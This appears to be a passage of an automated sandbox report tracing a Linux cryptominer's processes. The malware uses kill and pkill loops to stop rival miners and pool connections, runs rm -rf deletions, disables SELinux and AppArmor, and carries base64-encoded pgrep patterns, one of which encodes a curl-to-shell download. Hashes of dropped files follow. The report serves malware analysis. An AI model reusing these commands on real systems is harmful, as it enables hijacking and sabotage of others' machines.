/bin/grepgrep -v grep2⤵PID:1489
-
-
/bin/psps aux2⤵PID:1488
-
-
/bin/grepgrep wget2⤵PID:1497
-
-
/bin/grepgrep ficov2⤵PID:1496
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1498
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1499
-
-
/bin/grepgrep -v grep2⤵PID:1495
-
-
/bin/psps aux2⤵PID:1494
-
-
/bin/grepgrep curl2⤵PID:1503
-
-
/bin/grepgrep ficov2⤵PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1501
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1500
-
-
/bin/grepgrep wget2⤵PID:1509
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1510
-
-
/bin/grepgrep he.sh2⤵PID:1508
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1511
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/bin/psps aux2⤵PID:1506
-
-
/bin/grepgrep curl2⤵PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1516
-
-
/bin/grepgrep he.sh2⤵PID:1514
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1517
-
-
/bin/grepgrep -v grep2⤵PID:1513
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1512
-
-
/bin/grepgrep miner.sh2⤵PID:1520
-
-
/bin/grepgrep wget2⤵PID:1521
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1522
-
-
/bin/grepgrep -v grep2⤵PID:1519
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1523
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1518
-
-
/bin/grepgrep miner.sh2⤵PID:1526
-
-
/bin/grepgrep curl2⤵PID:1527
-
-
/bin/grepgrep -v grep2⤵PID:1525
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1528
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1529
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1524
-
-
/bin/grepgrep nullcrew2⤵PID:1532
-
-
/bin/grepgrep wget2⤵PID:1533
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1534
-
-
/bin/grepgrep -v grep2⤵PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1535
-
-
/bin/psps aux2⤵PID:1530
-
-
/bin/grepgrep curl2⤵PID:1539
-
-
/bin/grepgrep nullcrew2⤵PID:1538
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1540
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1537
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1536
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1545
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1544
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1546
-
-
/bin/grepgrep -v grep2⤵PID:1543
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1542
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1550
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1549
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1551
-
-
/bin/grepgrep -v grep2⤵PID:1548
-
-
/bin/psps aux2⤵PID:1547
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1555
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1556
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1554
-
-
/bin/grepgrep -v grep2⤵PID:1553
-
-
/bin/psps aux2⤵PID:1552
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1560
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1561
-
-
/bin/grepgrep 144.217.45.452⤵PID:1559
-
-
/bin/grepgrep -v grep2⤵PID:1558
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1557
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1565
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1566
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1564
-
-
/bin/grepgrep -v grep2⤵PID:1563
-
-
/bin/psps aux2⤵PID:1562
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1570
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1571
-
-
/bin/grepgrep 176.31.6.162⤵PID:1569
-
-
/bin/grepgrep -v grep2⤵PID:1568
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1567
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1575
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1576
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1574
-
-
/bin/grepgrep -v grep2⤵PID:1573
-
-
/bin/psps auxf2⤵PID:1572
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1580
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1581
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1579
-
-
/bin/grepgrep -v grep2⤵PID:1578
-
-
/bin/psps auxf2⤵PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1585
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1586
-
-
/bin/grepPID:1584
-
-
/bin/grepgrep -v grep2⤵PID:1583
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1582
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1590
-
-
/bin/grepgrep monerohash.com2⤵PID:1589
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1591
-
-
/bin/grepgrep -v grep2⤵PID:1588
-
-
/bin/psps auxf2⤵PID:1587
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1595
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1596
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1594
-
-
/bin/grepgrep -v grep2⤵PID:1593
-
-
/bin/psps auxf2⤵PID:1592
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1600
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1601
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1598
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1597
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1605
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1604
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1606
-
-
/bin/grepgrep -v grep2⤵PID:1603
-
-
/bin/psps auxf2⤵PID:1602
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1610
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1609
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1611
-
-
/bin/grepgrep -v grep2⤵PID:1608
-
-
/bin/psps auxf2⤵PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1615
-
/usr/local/sbin/killkill -9 16133⤵PID:1616
-
-
/usr/local/bin/killkill -9 16133⤵PID:1616
-
-
/usr/sbin/killkill -9 16133⤵PID:1616
-
-
/usr/bin/killkill -9 16133⤵PID:1616
-
-
/sbin/killkill -9 16133⤵PID:1616
-
-
/bin/killkill -9 16133⤵PID:1616
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1614
-
-
/bin/grepgrep xiaoyao2⤵PID:1613
-
-
/bin/psps auxf2⤵PID:1612
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1620
-
/usr/local/sbin/killkill -9 16183⤵PID:1621
-
-
/usr/local/bin/killkill -9 16183⤵PID:1621
-
-
/usr/sbin/killkill -9 16183⤵PID:1621
-
-
/usr/bin/killkill -9 16183⤵PID:1621
-
-
/sbin/killkill -9 16183⤵PID:1621
-
-
/bin/killkill -9 16183⤵
- Reads CPU attributes
PID:1621
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1619
-
-
/bin/grepgrep xiaoxue2⤵PID:1618
-
-
/bin/psps auxf2⤵PID:1617
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1624
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1625
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1626
-
-
/bin/grepgrep 46.243.253.152⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1627
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1631
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1630
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1632
-
-
/bin/grepgrep 176.31.6.162⤵PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1635
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1634
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1637
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1639
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1641
-
-
/usr/bin/pgreppgrep -f mixtape2⤵
- Reads CPU attributes
PID:1640
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1643
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1645
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1644
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1647
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵
- Reads CPU attributes
PID:1646
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1649
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1651
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1650
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1653
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵
- Reads CPU attributes
PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1657
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1659
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1658
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1661
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads CPU attributes
PID:1660
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1663
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads runtime system information
PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1665
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1664
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1667
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1669
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads CPU attributes
PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1671
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1670
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1673
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1675
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1674
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1677
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵
- Reads runtime system information
PID:1676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1679
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1681
-
-
/usr/bin/pgreppgrep -f ./pces2⤵
- Reads runtime system information
PID:1680
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1683
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1685
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1684
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1687
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads CPU attributes
PID:1686
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1689
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads runtime system information
PID:1688
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1691
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1693
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1692
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1695
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1694
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1697
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1699
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1701
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1700
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1703
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1705
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads runtime system information
PID:1704
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1707
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1706
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1709
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1711
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads runtime system information
PID:1710
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1713
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1712
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1715
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1714
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1717
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1716
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1719
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1718
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1721
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1723
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1722
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1725
-
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads runtime system information
PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1727
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵
- Reads CPU attributes
PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1729
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1728
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1731
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1730
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1733
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1735
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1734
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1737
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1736
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1739
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1741
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵
- Reads runtime system information
PID:1740
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1743
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1742
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1745
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1744
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1746
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1747
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1748
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵
- Reads runtime system information
PID:1749
-
-
/usr/bin/pkillpkill -f performedl2⤵
- Reads runtime system information
PID:1750
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1751
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1752
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵
- Reads CPU attributes
PID:1753
-
-
/usr/bin/pkillpkill -f irqbnc12⤵
- Reads CPU attributes
- Reads runtime system information
PID:1754
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
PID:1755
-
-
/usr/bin/pkillpkill -f conns2⤵PID:1756
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1757
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
PID:1758
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1759
-
-
/usr/bin/pkillpkill -f pythno2⤵
- Reads runtime system information
PID:1760
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1761
-
-
/usr/bin/pkillpkill -f lx262⤵PID:1762
-
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1763
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1764
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1765
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1766
-
-
/usr/bin/pkillpkill -f minergate2⤵
- Reads CPU attributes
PID:1767
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1768
-
-
/usr/bin/pkillpkill -f ysaydh2⤵
- Reads runtime system information
PID:1769
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1770
-
-
/usr/bin/pkillpkill -f donns2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1771
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1772
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵PID:1773
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵PID:1774
-
-
/usr/bin/pkillpkill -f conn.sh2⤵
- Reads runtime system information
PID:1775
-
-
/usr/bin/pkillpkill -f kworker342⤵
- Reads runtime system information
PID:1776
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1777
-
-
/usr/bin/pkillpkill -f pro.sh2⤵
- Reads runtime system information
PID:1778
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads CPU attributes
PID:1779
-
-
/usr/bin/pkillpkill -f acpid2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1780
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1781
-
-
/usr/bin/pkillpkill -f nopxi2⤵
- Reads runtime system information
PID:1782
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵PID:1783
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads CPU attributes
PID:1784
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1785
-
-
/usr/bin/pkillpkill -f gddr2⤵PID:1786
-
-
/usr/bin/pkillpkill -f mstxmr2⤵PID:1787
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1788
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵
- Reads runtime system information
PID:1789
-
-
/usr/bin/pkillpkill -f deamon2⤵
- Reads runtime system information
PID:1790
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1791
-
-
/usr/bin/pkillpkill -f sourplum2⤵
- Reads runtime system information
PID:1792
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1793
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1794
-
-
/usr/bin/pkillpkill -f zigw2⤵
- Reads CPU attributes
PID:1795
-
-
/usr/bin/pkillpkill -f devtool2⤵
- Reads CPU attributes
PID:1796
-
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads CPU attributes
PID:1797
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1798
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1799
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1800
-
-
/usr/bin/pkillpkill -f xmrig2⤵
- Reads CPU attributes
PID:1801
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵PID:1802
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1803
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵
- Reads CPU attributes
PID:1804
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1805
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵
- Reads runtime system information
PID:1806
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵PID:1807
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵PID:1808
-
-
/usr/bin/pkillpkill -f suppoie2⤵PID:1809
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵PID:1810
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵PID:1811
-
-
/usr/bin/pkillpkill -f nullcrew2⤵PID:1812
-
-
/usr/bin/pkillpkill -f systemctI2⤵PID:1813
-
-
/usr/bin/pkillpkill -f kworkerds2⤵PID:1814
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵
- Reads runtime system information
PID:1815
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵PID:1816
-
-
/usr/bin/pkillpkill -f crond642⤵PID:1817
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1818
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵
- Reads CPU attributes
PID:1819
-
-
/usr/bin/pkillpkill -f exin2⤵PID:1820
-
-
/usr/bin/pkillpkill -f apachiii2⤵PID:1821
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵
- Reads runtime system information
PID:1822
-
-
/usr/bin/pkillpkill -f xr2⤵PID:1823
-
-
/usr/bin/pkillpkill -f trace2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1824
-
-
/usr/bin/pkillpkill -f svcupdate2⤵PID:1825
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1826
-
-
/usr/bin/pkillpkill -f phpupdate2⤵
- Reads runtime system information
PID:1827
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1828
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1829
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1830
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1831
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1832
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1833
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:818
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1ri8MD-0000DC-MQ2⤵
- Reads CPU attributes
PID:893
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:821
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1ri8M8-0000DF-EY2⤵PID:834
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:849
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:848
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:869
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:868
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
14KB
MD55a1d285f538d224e075f75755302621b
SHA1f9bd614b6995389aa4b2ea2a41233d5e0469212d
SHA25608fa886f738c5da2a820b8cc4455653284eab614b5ff4fce24e9e6037e46c5e7
SHA512b796178dec441b764f8187aacd1dc21812e50ac86430b2c59d46a814ca76259cbf1f9ba2ff547ebd84896370dbe65de2ea49997c88b457d8ff78461010c27e5e
-
Filesize
1KB
MD5501fc91b6eba55eafc2810d8babc4a53
SHA171aaa2de7b31d03ad119fd08d3313a3eba746b49
SHA256ca84d0a04bcd975c173eccc8b6bf803a456ec890ee66169f8f9bf6224ace5951
SHA512b683db4488fc25956f89ccb01c068afd167b36e37d095ff432e64fc3d09c799e2603095bb58caa3ba0abc4896a5885199e2e27efd037a4a73d1f1bcaca46febf
-
Filesize
2KB
MD5bb315c2afc6552c1861811449e8179bf
SHA18f03d07217673a50f89909a7659d14774c91bdbd
SHA25687fade41dceaec9ec0e79974bb064c70ead3743dbeb24417b81fce1f5e655b7c
SHA512c8630bd7633717d71f89dd4f0b70c71a5f80e04536aa9a16e8fd57f50ff5b45fba401f216fa0da6a9df133f012b5932c23c621e222ce049be1be5ab27392f0ee
-
Filesize
3KB
MD5876f11a4f5fcc5542ddb907244351369
SHA17714b4e99817d148df88a81446582335754a9ac2
SHA25661c1cfe3feb116286b66316f4c64856366f49e4d4c68825a42b995938e34e6b0
SHA512edb8689ab54caa10c5b44b4ebc815ee7f58bc20a46a8d39f8db5ab55d6d99648cddb575df7647ee2278491393e914de8687088cddae328c0f0cd266105282ef3
-
Filesize
4KB
MD5f362252c2d26caa32cf5704c8f8272e5
SHA1e20514a731e67cf72ce1e83d445070caaf0eaf8b
SHA256a10c88d0d53363b878f7274c07b4399773c8515d7ee5de37ff0b66fa2b29072f
SHA51219cd1e9999e79d856d4ae0e85aa25024a4efb1761f276a2de54393c1e73a018b165854c18ce066c6d9247ac03c68df9e52614c83b120096a7a2e4de5b41a4a5c
-
Filesize
4KB
MD57ddc9934326b59e8311732f71bf7c40f
SHA15dc3a218d2c56c84de70d6f88c777fd0cc1af8be
SHA256b2adc26f24f46c3b166da9f964870b32c999a598d2851d8a2bee84bf32953219
SHA512ff5a57ca90ceab04de380686fb245c26045589ea7abe583ec8ed87076c89e4f4bef50d4e733847118f89b7195241a11a38371df06899ef95669f4882e8430f5c
-
Filesize
843B
MD502142fe9114a971b4c5ffa47cbf320c3
SHA1aa4311989259b9a1cdf38a9d34772cfce0c013bb
